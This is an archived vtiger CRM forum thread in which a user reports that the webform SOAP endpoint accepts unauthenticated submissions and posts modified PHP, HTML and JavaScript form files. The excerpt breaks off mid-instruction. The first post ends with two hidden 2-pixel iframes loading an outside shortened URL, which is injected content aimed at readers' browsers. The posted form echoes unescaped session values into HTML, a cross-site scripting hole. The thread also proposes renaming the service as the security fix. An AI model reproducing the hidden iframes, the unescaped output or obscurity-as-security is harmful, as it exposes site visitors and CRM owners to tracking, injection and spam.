› › › ›

IMPORTANT: Webforms Security: Please inform me..

effgeeeffgee
edited February 2009 in Help - 5.0.4 Vote Up0Vote Down
The webforms work simply enough.
But I am concerned about security.

It seems that a webform setup anywhere, with the config.php modified to point to ANY valid vtiger installation, can push data from that form into a vtiger installation. There is no authentication.

Please correct me if I am incorrect, but this IS a HUGE security risk.
Whats to stop someone from posting via the webforms to any number of vtiger installations?

What is the solution? I am sure a key or password mechanism would work fine. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«1

Comments

  • 11 Comments sorted by Votes Date Added
  • prasad.aprasad.a
    Vote Up0Vote Down
    hi effgee,

    our webform implementation is very basic right now. we are planning to enhance the feature in the upcoming release.

    regards,
    prasad
    vtiger team
  • effgeeeffgee
    Vote Up0Vote Down
    hello prassad,

    yes, i realize it is very basic.
    i have just recently added more fields and a captcha to my forms, but realized the backend doesn't seem to have any security.
    i assume you are in agreement with my observations.

    i would like to put my own check or password based auth into the backend so that it is actually secure.

    i am a new programmer, and i would appreciate any pointers on which file (probably in the soap backend) i would need to add the password check.
    i already have added session based checking for variable holding so it should be trivial to pass a token or key.
    i just don't know the code well enough to understand where the data gets passed to.
  • prasad.aprasad.a
    Vote Up0Vote Down
    hi effgee,

    the data gets passed on to vtigercrm/soap/webforms.php , which handles soap request from webforms.

    please do keep us updated with your modifications.

    thank you,
    prasad
    vtiger team
  • effgeeeffgee
    Vote Up0Vote Down
    i have a possible work around for the security issues.
    first i will start with my current modifications.

    *** features ***

    more entry fields

    firstname *required
    lastname *required
    company *required
    email * required
    phone
    street
    city
    country
    description

    recapture spam protection

    email notification of webform submittal
    the email notification code was borrowed from another forum post i found earlier.

    my modifications involve these files.

    /webforms/lead/index.php
    &lt;?php
session_start&#40;&#41;; 

?&gt;
&lt;?php
/*********************************************************************************
** the contents of this file are subject to the vtiger crm public license version 1&#46;0
 * &#40;&quot;license&quot;&#41;; you may not use this file except in compliance with the license
 * the original code is&#58;  vtiger crm open source
 * the initial developer of the original code is vtiger&#46;
 * portions created by vtiger are copyright &#40;c&#41; vtiger&#46;
 * all rights reserved&#46;
*
 ********************************************************************************/

if&#40;$error_message != ''&#41;
   echo '&lt;span class=&quot;form_error&quot;&gt;'&#46;$error_message&#46;'&lt;/span&gt;';

require_once&#40;'config&#46;php'&#41;;
global $default_charset;

// recapture begin
require_once&#40;'recaptchalib&#46;php'&#41;;
$publickey = &quot; &quot;; // your recaptcha public key, you got this from the signup page - sign up here&#58; http&#58;//recaptcha&#46;net/whyrecaptcha&#46;html
//recapture end

?&gt;
&lt;!doctype html public &quot;-//w3c//dtd html 4&#46;01//en&quot;&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=&lt;?php echo $default_charset ?&gt;&quot;&gt;
&lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot; src=&quot;/webforms/lead/validateform&#46;js&quot;&gt;&lt;/script&gt;
&lt;link href=&quot;form&#46;css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;form name=&quot;leadform&quot; method=&quot;post&quot; action=&quot;send_data&#46;php&quot;&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;create&quot; value=&quot;lead&quot;&gt;
  &lt;div id=&quot;shadow-container&quot;&gt;
    &lt;div class=&quot;shadow1&quot;&gt;
      &lt;div class=&quot;shadow2&quot;&gt;
        &lt;div class=&quot;shadow3&quot;&gt;
          &lt;div class=&quot;container&quot;&gt;
            &lt;table width=&quot;95%&quot; border=&quot;0&quot; cellspacing=&quot;2&quot; cellpadding=&quot;2&quot;&gt;
              &lt;tr&gt;
                &lt;td width=&quot;300&quot;&gt;&lt;p&gt;fields marked with &lt;font color=&quot;#ff0000&quot; size=&quot;+2&quot;&gt;&lt;strong&gt;*&lt;/strong&gt;&lt;/font&gt; &lt;strong&gt;are mandatory&lt;/strong&gt;&#46;
                  &lt;p&gt;all other fields are optional&#46;
                  &lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;2&quot; cellpadding=&quot;2&quot;&gt;
                    &lt;tr&gt;
                      &lt;td width=&quot;100%&quot;&gt;&lt;p align=&quot;right&quot;&gt;&lt;span&gt; &lt;font color=&quot;#ff0000&quot; size=&quot;+2&quot;&gt;&lt;strong&gt;*&lt;/strong&gt;&lt;/font&gt;&lt;strong&gt;first name&#58;&lt;/strong&gt;
                          &lt;input type=&quot;text&quot; name=&quot;firstname&quot; id=&quot;first_name&quot; class=&quot;inputtext&quot; size=&quot;30&quot; maxlength=&quot;100&quot; value=&quot;&lt;?php echo $_session&#91;'firstname'&#93;?&gt;&quot; /&gt;
                          &lt;/span&gt;&lt;/p&gt;
                        &lt;p align=&quot;right&quot;&gt;&lt;span&gt;&lt;font color=&quot;#ff0000&quot; size=&quot;+2&quot;&gt;&lt;strong&gt;*&lt;/strong&gt;&lt;/font&gt;&lt;strong&gt;last name&#58;&lt;/strong&gt;
                          &lt;input type=&quot;text&quot; name=&quot;lastname&quot; id=&quot;last_name&quot; class=&quot;inputtext&quot; size=&quot;30&quot; maxlength=&quot;100&quot; value=&quot;&lt;?php echo $_session&#91;'lastname'&#93;?&gt;&quot; /&gt;
                          &lt;/span&gt;&lt;/p&gt;
                        &lt;p align=&quot;right&quot;&gt;&lt;span&gt;&lt;font color=&quot;#ff0000&quot; size=&quot;+2&quot;&gt;&lt;strong&gt;*&lt;/strong&gt;&lt;/font&gt;&lt;strong&gt;company&#58;&lt;/strong&gt;
                          &lt;input type=&quot;text&quot; name=&quot;company&quot; id=&quot;company&quot; class=&quot;inputtext&quot; size=&quot;30&quot; maxlength=&quot;100&quot; value=&quot;&lt;?php echo $_session&#91;'company'&#93;?&gt;&quot;&gt;
                          &lt;/span&gt;&lt;/p&gt;
                        &lt;p align=&quot;right&quot;&gt;&lt;font color=&quot;#ff0000&quot; size=&quot;+2&quot;&gt;&lt;strong&gt;*&lt;/strong&gt;&lt;/font&gt;&lt;span&gt;&lt;strong&gt;email&lt;/strong&gt;&#58;
                          &lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; class=&quot;inputtext&quot; size=&quot;30&quot; maxlength=&quot;100&quot; value=&quot;&lt;?php echo $_session&#91;'email'&#93;?&gt;&quot; /&gt;
                          &lt;/span&gt;&lt;/p&gt;
                        &lt;p align=&quot;right&quot;&gt; &lt;span&gt;telephone&#58;
                          &lt;input type=&quot;text&quot; name=&quot;phone&quot; id=&quot;phone&quot; class=&quot;inputtext&quot; size=&quot;30&quot; maxlength=&quot;30&quot; value=&quot;&lt;?php echo $_session&#91;'phone'&#93;?&gt;&quot;&gt;
                          &lt;/span&gt;&lt;/p&gt;
                        &lt;p align=&quot;right&quot;&gt; &lt;span&gt;address&#58;
                          &lt;input type=&quot;text&quot; name=&quot;street&quot; id=&quot;street&quot; class=&quot;inputtext&quot; size=&quot;30&quot; maxlength=&quot;100&quot; value=&quot;&lt;?php echo $_session&#91;'street'&#93;?&gt;&quot; /&gt;
                          &lt;/span&gt;&lt;/p&gt;
                        &lt;p align=&quot;right&quot;&gt; &lt;span&gt;city&#58;
                          &lt;input type=&quot;text&quot; name=&quot;city&quot; id=&quot;city&quot; class=&quot;inputtext&quot; size=&quot;30&quot; maxlength=&quot;100&quot; value=&quot;&lt;?php echo $_session&#91;'city'&#93;?&gt;&quot; /&gt;
                          &lt;/span&gt;&lt;/p&gt;
                        &lt;p align=&quot;right&quot;&gt; &lt;span&gt;country&#58;
                          &lt;input type=&quot;text&quot; name=&quot;country&quot; id=&quot;country&quot; class=&quot;inputtext&quot; size=&quot;30&quot; maxlength=&quot;100&quot; value=&quot;&lt;?php echo $_session&#91;'country'&#93;?&gt;&quot; /&gt;
                          &lt;/span&gt; &lt;span&gt; &lt;/span&gt; 
                        &lt;span&gt;&lt;br&gt;
                        &lt;p align=&quot;center&quot;&gt;&lt;strong&gt;message&#58;&lt;/strong&gt;&lt;/p&gt;
                        &lt;p align=&quot;right&quot;&gt;
                          &lt;textarea name=&quot;description&quot; rows=&quot;4&quot; cols=&quot;32&quot;&gt;&lt;?php echo $_session&#91;'description'&#93;?&gt;&lt;/textarea&gt;
                        &lt;/p&gt;
                        &lt;/span&gt; &lt;span &gt;
                        &lt;p align=&quot;center&quot;&gt;
                          &lt;input type=&quot;button&quot; name=&quot;submit&quot; value=&quot;submit &amp;raquo;&quot; class=&quot;inputsubmit&quot; onclick=&quot;validateform&#40;&#41;;&quot;&gt;
                          &lt;input name=&quot;&quot; type=&quot;reset&quot; class=&quot;inputsubmit&quot; onclick=&quot;&lt;?php session_destroy&#40;&#41;;?&gt;
window&#46;location&#46;reload&#40;&#41;;return false;&quot;  value=&quot;clear&quot; /&gt;
                        &lt;/p&gt;
                        &lt;/span&gt; &lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;&lt;/td&gt;
                &lt;td width=&quot;*&quot;&gt;&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;2&quot; cellpadding=&quot;2&quot;&gt;
                    &lt;tr&gt;
                      &lt;td&gt;&lt;div id=&quot;shadow-container&quot;&gt;
                          &lt;div class=&quot;shadow1&quot;&gt;
                            &lt;div class=&quot;shadow2&quot;&gt;
                              &lt;div class=&quot;shadow3&quot;&gt;
                                &lt;div class=&quot;container&quot;&gt;
                                  &lt;h3&gt;company information&lt;/h3&gt;
                                  &lt;hr /&gt;
                                  &lt;br /&gt;
                                  company name &lt;br /&gt;
                                  address line 1&lt;br /&gt;
                                  address line 2&lt;br /&gt;
                                  &lt;br /&gt;
                                  tel&#58; &lt;br /&gt;
                                  fax&#58; &lt;br /&gt;
                                  email&#58; &lt;a href=&quot;mailto&#58;info@companyname&#46;com&quot;&gt;info@companyname&#46;com&lt;/a&gt;&lt;/div&gt;
                              &lt;/div&gt;
                            &lt;/div&gt;
                          &lt;/div&gt;
                        &lt;/div&gt;&lt;/td&gt;
                    &lt;/tr&gt;
                    &lt;tr&gt;
                      &lt;td&gt;&lt;div class=&quot;optional&quot;&gt; &lt;?php echo recaptcha_get_html&#40;$publickey&#41;?&gt; &lt;/div&gt;&lt;/td&gt;
                    &lt;/tr&gt;
                  &lt;/table&gt;&lt;/td&gt;
              &lt;/tr&gt;
            &lt;/table&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;



    /webforms/lead/send_data.php
    &lt;?php
// this starts the session
session_start&#40;&#41;;

// this sets variables in the session
$_session&#91;'firstname'&#93;=$_post&#91;'firstname'&#93;;
$_session&#91;'lastname'&#93;=$_post&#91;'lastname'&#93;;
$_session&#91;'company'&#93;=$_post&#91;'company'&#93;;
$_session&#91;'email'&#93;=$_post&#91;'email'&#93;;
$_session&#91;'phone'&#93;=$_post&#91;'phone'&#93;;
$_session&#91;'street'&#93;=$_post&#91;'street'&#93;;
$_session&#91;'city'&#93;=$_post&#91;'city'&#93;;
$_session&#91;'country'&#93;=$_post&#91;'country'&#93;;
$_session&#91;'description'&#93;=$_post&#91;'description'&#93;;
?&gt; 

&lt;?php
/*********************************************************************************
** the contents of this file are subject to the vtiger crm public license version 1&#46;0
 * &#40;&quot;license&quot;&#41;; you may not use this file except in compliance with the license
 * the original code is&#58;  vtiger crm open source
 * the initial developer of the original code is vtiger&#46;
 * portions created by vtiger are copyright &#40;c&#41; vtiger&#46;
 * all rights reserved&#46;
*
 ********************************************************************************/

include&#40;&quot;config&#46;php&quot;&#41;;
require_once&#40;'nusoap/lib/nusoap&#46;php'&#41;;

// recapture begin
require_once&#40;'recaptchalib&#46;php'&#41;;
$privatekey = &quot; &quot;; // your recaptcha private key, received from the signup page&#46;
$resp = recaptcha_check_answer &#40;$privatekey,
                                $_server&#91;&quot;remote_addr&quot;&#93;,
                                $_post&#91;&quot;recaptcha_challenge_field&quot;&#93;,
                                $_post&#91;&quot;recaptcha_response_field&quot;&#93;&#41;;

if &#40;!$resp-&gt;is_valid&#41; &#123;
  ?&gt;
&lt;div id=&quot;shadow-container&quot;&gt;
  &lt;div class=&quot;shadow1&quot;&gt;
    &lt;div class=&quot;shadow2&quot;&gt;
      &lt;div class=&quot;shadow3&quot;&gt;
        &lt;div class=&quot;container&quot; align=&quot;center&quot; &gt;
          &lt;table border=&quot;0&quot; cellspacing=&quot;1&quot; cellpadding=&quot;5&quot;&gt;
            &lt;tr&gt;
              &lt;td align=&quot;center&quot;&gt;&lt;p&gt;&lt;img src=&quot;/webforms/lead/oops&#46;png&quot; width=&quot;100&quot; height=&quot;83&quot; /&gt;&lt;br /&gt;
                  &lt;strong&gt;the recaptcha wasn't entered correctly&#46; &lt;/strong&gt;&lt;/p&gt;
                &lt;p&gt;&lt;strong&gt;please &lt;a href=&quot;http&#58;//sitename&#46;com/webforms/lead/index&#46;php&quot; target=&quot;_top&quot;&gt;go back&lt;/a&gt; and try it again&#46;&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;
            &lt;/tr&gt;
          &lt;/table&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;?
  
  die &#40;&quot;&quot;&#41;;
&#125;
// recapture end


$client = new soapclient2&#40;$server_path&#46;&quot;/vtigerservice&#46;php?service=webforms&quot;, false,
                                                $proxyhost, $proxyport, $proxyusername, $proxypassword&#41;;
$err = $client-&gt;geterror&#40;&#41;;

if&#40;$_request&#91;'create'&#93; == 'lead'&#41;
&#123;
   if&#40;get_magic_quotes_gpc&#40;&#41;&#41;
   &#123;
      $firstname = stripslashes&#40;$_post&#91;'firstname'&#93;&#41;;
      $lastname = stripslashes&#40;$_post&#91;'lastname'&#93;&#41;;
      $company = stripslashes&#40;$_post&#91;'company'&#93;&#41;;
      $email = $_post&#91;'email'&#93;;
      $phone = stripslashes&#40;$_post&#91;'phone'&#93;&#41;;
      $street = stripslashes&#40;$_post&#91;'street'&#93;&#41;;
	  $city = stripslashes&#40;$_post&#91;'city'&#93;&#41;;
	  $country = stripslashes&#40;$_post&#91;'country'&#93;&#41;;
      $description = &quot;webform &#58; &quot;&#46;stripslashes&#40;$_post&#91;'description'&#93;&#41;;
	  
   &#125;
   else
   &#123;
      $firstname = $_post&#91;'firstname'&#93;;   
      $lastname = $_post&#91;'lastname'&#93;;
      $company = $_post&#91;'company'&#93;;
      $email = $_post&#91;'email'&#93;;
      $phone = $_post&#91;'phone'&#93;;
	  $street = $_post&#91;'street'&#93;;
      $city = $_post&#91;'city'&#93;;
	  $country = $_post&#91;'country'&#93;;
      $description = &quot;webform &#58; &quot;&#46;$_post&#91;'description'&#93;;
	  
   &#125;

   $params = array&#40;
      'firstname' =&gt; &quot;$firstname&quot;,
      'lastname' =&gt; &quot;$lastname&quot;,
      'company' =&gt; &quot;$company&quot;,      
      'email' =&gt; &quot;$email&quot;,
      'phone' =&gt; &quot;$phone&quot;,
	  'street' =&gt; &quot;$street&quot;,
      'city' =&gt; &quot;$city&quot;,
	  'country' =&gt; &quot;$country&quot;,
      'description' =&gt; &quot;$description&quot;,
      'assigned_user_id' =&gt; &quot;$assigned_user_id&quot;
   &#41;;

   if&#40;$lastname != '' &amp;&amp; $company != ''&#41;
   &#123;
      $result = $client-&gt;call&#40;'create_lead_from_webform', $params, $server_path, $server_path&#41;;
   
      if&#40;$result&#91;'faultstring'&#93; != '' &amp;&amp; is_array&#40;$result&#41;&#41;
      &#123;
         echo '&lt;br&gt;'&#46;$result&#91;'faultstring'&#93;;
      &#125;
      else
      &#123;
         send_email&#40;$params&#41;;
         echo '&lt;br&gt;&lt;br&gt;'&#46;$result&#46;'&lt;br&gt;&lt;br&gt;&lt;a href=&quot;index&#46;php&quot;&gt;home&lt;/a&gt;';
		 session_destroy&#40;&#41;; 
      &#125;
   &#125;
   else
   &#123;
      $error_message = &quot;last name and company must be entered to create a lead&#46;&quot;;
      include&#40;&quot;index&#46;php&quot;&#41;;
   &#125;
&#125;
else
&#123;
   include&#40;&quot;index&#46;php&quot;&#41;;
&#125;

function send_email&#40;$arr&#41; &#123;
   $to = &quot;info@companyname&#46;com&quot;;
   $subject = &quot;new lead recieved&#58; &quot; &#46; $arr&#91;'company'&#93;;
   $message =    &quot;a new lead has been recieved on vtiger via the web form \n&quot; &#46;
         &quot;--------------------------------------------------------\n&quot; &#46;
         &quot;firstname&#58;   &quot; &#46; $arr&#91;'firstname'&#93; &#46; &quot;\n&quot; &#46;
         &quot;lastname&#58;   &quot; &#46; $arr&#91;'lastname'&#93; &#46; &quot;\n&quot; &#46;
         &quot;company&#58;   &quot; &#46; $arr&#91;'company'&#93; &#46; &quot;\n&quot; &#46;
         &quot;email&#58;      &quot; &#46; $arr&#91;'email'&#93; &#46; &quot;\n&quot; &#46;
         &quot;telephone&#58;   &quot; &#46; $arr&#91;'phone'&#93; &#46; &quot;\n&quot; &#46;
         &quot;city&#58;      &quot; &#46; $arr&#91;'city'&#93; &#46; &quot;\n&quot; &#46;
         &quot;comments&#58;   &quot; &#46; $arr&#91;'description'&#93; &#46; &quot;\n\n&quot;;

   //mail headers
   $headers = &quot;mime-version&#58; 1&#46;0\n&quot;;
   $headers &#46;= &quot;content-type&#58; text/plain; charset=iso-8859-1\n&quot;;
   $headers &#46;= &quot;x-priority&#58; 3\n&quot;;
   $headers &#46;= &quot;x-msmail-priority&#58; normal\n&quot;;
   $headers &#46;= &quot;x-mailer&#58; php\n&quot;;
   $headers &#46;= &quot;from&#58; \&quot;admin\&quot; &lt;$to&gt;\n&quot;;
   $headers &#46;= &quot;return-path&#58; $to\n&quot;;
   $headers &#46;= &quot;return-receipt-to&#58; $to\n&quot;;

   mail&#40;$to,$subject,$message,$headers&#41;;
   &#125;
?&gt;



    (vtigerhostname)/soap/webforms.php

    &lt;?php
/*********************************************************************************
** the contents of this file are subject to the vtiger crm public license version 1&#46;0
 * &#40;&quot;license&quot;&#41;; you may not use this file except in compliance with the license
 * the original code is&#58;  vtiger crm open source
 * the initial developer of the original code is vtiger&#46;
 * portions created by vtiger are copyright &#40;c&#41; vtiger&#46;
 * all rights reserved&#46;
*
 ********************************************************************************/

require_once&#40;&quot;config&#46;php&quot;&#41;;
require_once&#40;'include/logging&#46;php'&#41;;
require_once&#40;'include/nusoap/nusoap&#46;php'&#41;;
require_once&#40;'include/database/peardatabase&#46;php'&#41;;
require_once&#40;'modules/helpdesk/helpdesk&#46;php'&#41;;

$log = &amp;loggermanager&#58;&#58;getlogger&#40;'webforms'&#41;;

//$serializer = new xml_serializer&#40;&#41;;
$namespace = 'http&#58;//www&#46;vtiger&#46;com/vtigercrm/';
$server = new soap_server;

$server-&gt;configurewsdl&#40;'vtigersoap'&#41;;


$server-&gt;register&#40;
	'create_lead_from_webform',
	array&#40;
		'firstname'=&gt;'xsd&#58;string',
		'lastname'=&gt;'xsd&#58;string',
		'company'=&gt;'xsd&#58;string', 
		'email'=&gt;'xsd&#58;string', 
		'phone'=&gt;'xsd&#58;string', 
		'street'=&gt;'xsd&#58;string', 
		'city'=&gt;'xsd&#58;string', 
		'country'=&gt;'xsd&#58;string', 
		'description'=&gt;'xsd&#58;string',
		'assigned_user_id'=&gt;'xsd&#58;string'
	     &#41;,
	array&#40;'return'=&gt;'xsd&#58;string'&#41;,
	$namespace&#41;;

$server-&gt;register&#40;
	'create_contact_from_webform',
	array&#40;
		'first_name'=&gt;'xsd&#58;string',
		'last_name'=&gt;'xsd&#58;string',
		'email_address'=&gt;'xsd&#58;string',
		'home_phone'=&gt;'xsd&#58;string',
		'department'=&gt;'xsd&#58;string',
		'description'=&gt;'xsd&#58;string',
		'assigned_user_id'=&gt;'xsd&#58;string'
	     &#41;,
	array&#40;'return'=&gt;'xsd&#58;string'&#41;,
	$namespace&#41;;

$server-&gt;register&#40;
	'unsubscribe_email',
	array&#40;
		'email_address'=&gt;'xsd&#58;string'
	     &#41;,
	array&#40;'return'=&gt;'xsd&#58;string'&#41;,
	$namespace&#41;;


/**	function used to create lead from webform from the passed details
 *	@param string $lastname	- last name of the lead
 *	@param string $email - email of the lead
 *	@param string $phone - phone number of the lead
 *	@param string $company - company name of the lead
 *	@param string $country - country name of the lead
 *	@param string $description - description to create a lead
 *	@param int $assigned_user_id - assigned to user for the lead
 *	return message success or failure about the lead creation 
 */
function create_lead_from_webform&#40;$firstname, $lastname, $company, $email, $phone, $street, $city, $country, $description, $assigned_user_id&#41;
&#123;
	global $adb;
	$adb-&gt;println&#40;&quot;create new lead from web form - starts&quot;&#41;;

	if&#40;$assigned_user_id == ''&#41;
	&#123;
		//if the user id is empty then assign it to the admin user
		$assigned_user_id = $adb-&gt;query_result&#40;$adb-&gt;pquery&#40;&quot;select id from vtiger_users where user_name=?&quot;, array&#40;'admin'&#41;&#41;,0,'id'&#41;;
	&#125;

	require_once&#40;&quot;modules/leads/leads&#46;php&quot;&#41;;
	$focus = new leads&#40;&#41;;
	$focus-&gt;column_fields&#91;'firstname'&#93; = $firstname;
	$focus-&gt;column_fields&#91;'lastname'&#93; = $lastname;
	$focus-&gt;column_fields&#91;'company'&#93; = $company;
	$focus-&gt;column_fields&#91;'email'&#93; = trim&#40;$email&#41;;
	$focus-&gt;column_fields&#91;'phone'&#93; = $phone;
	$focus-&gt;column_fields&#91;'street'&#93; = $street;
	$focus-&gt;column_fields&#91;'city'&#93; = $city;
	$focus-&gt;column_fields&#91;'country'&#93; = $country;
	$focus-&gt;column_fields&#91;'description'&#93; = $description;
	$focus-&gt;column_fields&#91;'assigned_user_id'&#93; = $assigned_user_id;

	$focus-&gt;save&#40;&quot;leads&quot;&#41;;
	//$focus-&gt;retrieve_entity_info&#40;$focus-&gt;id,&quot;leads&quot;&#41;;

	$adb-&gt;println&#40;&quot;create new lead from web form - ends&quot;&#41;;

	if&#40;$focus-&gt;id != ''&#41;
		$msg = 'thank you for your interest&#46; information has been successfully added as lead in vtigercrm&#46;';
	else
		$msg = &quot;lead creation failed&#46; please try again&quot;;

	return $msg;
&#125;

/**	function used to create contact from webform from the passed details
 *	@param string $first_name	- first name to create contact
 *	@param string $last_name	- last name to create contact
 *	@param string $email_address - email address to create contact
 *	@param string $home_phone - phone number of home to create contact
 *	@param string $department - department to create contact
 *	@param string $description - description to create contact
 *	@param int $assigned_user_id - assigned to user for the contact
 *	return message success or failure about the contact creation 
 */
function create_contact_from_webform&#40;$first_name, $last_name, $email_address, $home_phone, $department,$description, $assigned_user_id&#41;
&#123;
	global $adb;

	$adb-&gt;println&#40;&quot;create new contact from web form - starts&quot;&#41;;
	if&#40;$assigned_user_id == ''&#41;
	&#123;
		//if the user id is empty then assign it to the admin user
		$assigned_user_id = $adb-&gt;query_result&#40;$adb-&gt;pquery&#40;&quot;select id from vtiger_users where user_name=?&quot;, array&#40;'admin'&#41;&#41;,0,'id'&#41;;
	&#125;

	require_once&#40;'modules/contacts/contacts&#46;php'&#41;;
	$focus = new contacts&#40;&#41;;

	$focus-&gt;column_fields&#91;'firstname'&#93; = $first_name;
	$focus-&gt;column_fields&#91;'lastname'&#93; = $last_name;
	$focus-&gt;column_fields&#91;'email'&#93; = trim&#40;$email_address&#41;;
	$focus-&gt;column_fields&#91;'homephone'&#93; = $home_phone;
	$focus-&gt;column_fields&#91;'department'&#93; = $department;
	$focus-&gt;column_fields&#91;'description'&#93; = $description;
	$focus-&gt;column_fields&#91;'assigned_user_id'&#93; = $assigned_user_id;

	$focus-&gt;save&#40;&quot;contacts&quot;&#41;;
	//$focus-&gt;retrieve_entity_info&#40;$focus-&gt;id,&quot;contacts&quot;&#41;;

	$adb-&gt;println&#40;&quot;create new contact from web form - ends&quot;&#41;;

	if&#40;$focus-&gt;id != ''&#41;
		$msg = 'thank you for your interest&#46; information has been successfully added as contact in vtigercrm&#46;';
	else
		$msg = &quot;contact creation failed&#46; please try again&quot;;

	return $msg;
&#125;

/**	function used to unsubscribe the mail
 *	@param string $emailid - email address to unsubscribe
 *	return message about the success or failure status about the unsubscribe
 */
function unsubscribe_email&#40;$emailid&#41;
&#123;
	global $adb;
	$adb-&gt;println&#40;&quot;enter into the function unsubscribe_email&#40;$emailid&#41;&quot;&#41;;

	$emailid = trim&#40;$emailid&#41;;
	
	$contact_res = $adb-&gt;pquery&#40;&quot;select emailoptout from vtiger_contactdetails where email=?&quot;, array&#40;$emailid&#41;&#41;;
	$contact_noofrows = $adb-&gt;num_rows&#40;$contact_res&#41;;
	$emailoptout = $adb-&gt;query_result&#40;$contact_res,0,'emailoptout'&#41;;

	if&#40;$contact_noofrows &gt; 0&#41;
	&#123;
		if&#40;$emailoptout != 1&#41;
		&#123;
			$adb-&gt;pquery&#40;&quot;update vtiger_contactdetails set emailoptout=1 where email=?&quot;, array&#40;$emailid&#41;&#41;;
			$msg = &quot;you have been unsubscribed&#46;&quot;;
		&#125;
		else
		&#123;
			$msg = &quot;you are already unsubscribed&#46;&quot;;
		&#125;
	&#125;
	else
	&#123;
		$msg = &quot;there are no record available for this mail address&#46;&quot;;
	&#125;

	$adb-&gt;println&#40;&quot;exit from the function unsubscribe_email&#40;$emailid&#41;&quot;&#41;;
	return $msg;
&#125;


//$log-&gt;fatal&#40;&quot;in soap&#46;php&quot;&#41;;

/* begin the http listener service and exit&#46; */ 
$server-&gt;service&#40;$http_raw_post_data&#41;; 

exit&#40;&#41;; 



?&gt;



    and i added these files.

    /webforms/lead/form.css 
    /* shadow css */
#shadow-container &#123;
    position&#58; relative;
    left&#58; 3px;
    top&#58; 3px;
    margin-right&#58; 3px;
    margin-bottom&#58; 3px;
&#125;

#shadow-container &#46;shadow2,
#shadow-container &#46;shadow3,
#shadow-container &#46;container &#123;
    position&#58; relative;
    left&#58; -1px;
    top&#58; -1px;
&#125;

    #shadow-container &#46;shadow1 &#123;
        background&#58; #f1f0f1;
    &#125;

    #shadow-container &#46;shadow2 &#123;
        background&#58; #dbdadb;
    &#125;

    #shadow-container &#46;shadow3 &#123;
        background&#58; #b8b6b8;
    &#125;

    #shadow-container &#46;container &#123;
        background&#58; #ffffff;
        border&#58; 1px solid #848284;
        padding&#58; 10px;
    &#125;


    /webforms/lead/validateform.js (pulled from index.php and modified)
    // javascript document


string&#46;prototype&#46;trim = function&#40;&#41; &#123;
a = this&#46;replace&#40;/^\s+/, ''&#41;;
return a&#46;replace&#40;/\s+$/, ''&#41;;
&#125;;

function validateform&#40;&#41;&#123;
	var str=document&#46;leadform&#46;email&#46;value;
	var email = document&#46;leadform&#46;email&#46;value;
	var fname = document&#46;leadform&#46;firstname&#46;value;
	var lname = document&#46;leadform&#46;lastname&#46;value;
	var company = document&#46;leadform&#46;company&#46;value;	
	var regexps =new regexp&#40;/^&#91;a-za-z0-9&#93;+&#40;&#91;\_\-\&#46;&#93;*&#91;a-za-z0-9&#93;+&#91;\_\-&#93;?&#41;*@&#91;a-za-z0-9&#93;+&#40;&#91;\_\-&#93;?&#91;a-za-z0-9&#93;+&#41;*\&#46;+&#40;&#91;\-\_&#93;?&#91;a-za-z0-9&#93;&#41;+&#40;\&#46;?&#91;a-za-z0-9&#93;+&#41;*$/&#41;

	if&#40;fname&#46;trim&#40;&#41; == ''&#41;&#123;
			alert&#40;&quot;please enter your first name&#46;&quot;&#41;;
			return false;
		
		&#125;
		
	if&#40;lname&#46;trim&#40;&#41; == ''&#41;&#123;
			alert&#40;&quot;please enter your last name&#46;&quot;&#41;;
            return false;
				
        &#125;
		
	if&#40;company&#46;trim&#40;&#41; == ''&#41;&#123;
			alert&#40;&quot;company name required&#46; if a company name is not applicable, type 'none' &quot;&#41;;
			return false;
		&#125;
		
			
	if&#40;email&#46;trim&#40;&#41; == ''&#41;&#123;
			alert&#40;&quot;please enter your email&#46; fake it if you have to, but we need to have a way of contacting you! &quot;&#41;;
			return false;
		&#125;
	
	
	if &#40;regexps&#46;test&#40;str&#41; || &#40;str == ''&#41;&#41; &#123;
		document&#46;leadform&#46;submit&#40;&#41;;

	&#125;
	else
	&#123;	
		alert&#40;'please enter a valid email address&#46;'&#41;;
		return false;
	&#125;	
 &#125;

    /webforms/lead/recaptchalib.php (received from <!-- m --><a class="postlink" href="http://recaptcha.net/whyrecaptcha.html">http://recaptcha.net/whyrecaptcha.html</a><!-- m --> , please go there to sign up and get captcha on your form)

    /webforms/lead/oops.png
  • effgeeeffgee
    Vote Up0Vote Down
    also on my previous post i missed an additional feature.
    that is that the form data is kept if a user presses the back button between filling out the form and submitting it.

    now my idea for hacking in some form of security.

    ---


    the major problem as i see it, is there is no checking via the webforms.php on where the data that is being sent to comes from.
    i don't have an elegant solution at the moment. ( i am not a terribly good programmer)

    but, there is a solution.

    the basic idea behind this fix, is that in order to exploit the webforms soap interface, the exploiter must know how to access the processing form, in this case webforms.php.

    this idea, is security through obscurity. we rename webforms.php and the name of the soap service and change the code in the required files.

    for example.

    it requires modification of these files.

    change vtigerservice.php

    change this line 
    elseif&#40;$_request&#91;'service'&#93; == &quot;webforms&quot;&#41;
	&#123;
		include&#40;&quot;soap/webforms&#46;php&quot;&#41;;
	&#125;

    to (it should actually be any random string of your choosing)
    elseif&#40;$_request&#91;'service'&#93; == &quot;udhy382j&quot;&#41;
	&#123;
		include&#40;&quot;soap/udhy382j&#46;php&quot;&#41;;
	&#125;


    change send_data.php
    $client = new soapclient2&#40;$server_path&#46;&quot;/vtigerservice&#46;php?service=webforms&quot;, false,
                                                $proxyhost, $proxyport, $proxyusername, $proxypassword&#41;;

    to (match the service name entered in vtigerservice.php)

